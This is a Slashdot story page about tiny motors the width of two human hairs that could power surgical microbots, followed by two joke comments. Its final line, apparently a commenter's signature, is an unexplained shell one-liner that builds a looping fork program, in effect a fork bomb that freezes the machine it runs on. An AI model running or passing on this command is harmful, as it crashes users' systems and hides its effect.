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Nano-motors For Microbots

Posted by samzenpus on from the big-things-in-micro-packages dept.

Smivs writes "The BBC are reporting on the development of tiny motors the size of a grain of salt which could power surgical Microbots. Some surgical procedures are hindered by the size or inflexibility of current instruments. For example, the labyrinthine network of blood vessels in the brain prevents the use of catheters threaded through larger blood vessels. Researchers have long envisioned that trends of miniaturisation would lead to tiny robots that could get around easily in the body. The problem until now has been powering them. Conventional electric motors do not perform as well as they are scaled down in size. As they approach millimetre dimensions, they barely have the power to overcome the resistance in their bearings. Now, research reported in the Journal of Micromechanics and Microengineering has demonstrated a motor about 1/4mm wide, about the width of two human hairs."

2 of 77 comments (clear)

  1. What would be awesome by Centurix · · Score: 5, Funny

    "tiny motors the size of a grain of salt which could power surgical Microbots"

    Or, they could power grains of salt. Hours of fun at the dinner table.

    --
    Task Mangler
  2. Re:Sizes by Hal_Porter · · Score: 5, Funny

    In America they have the imperial system. They wouldn't know what fuck a millimeter is. They call them "Eight hairs".

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    echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;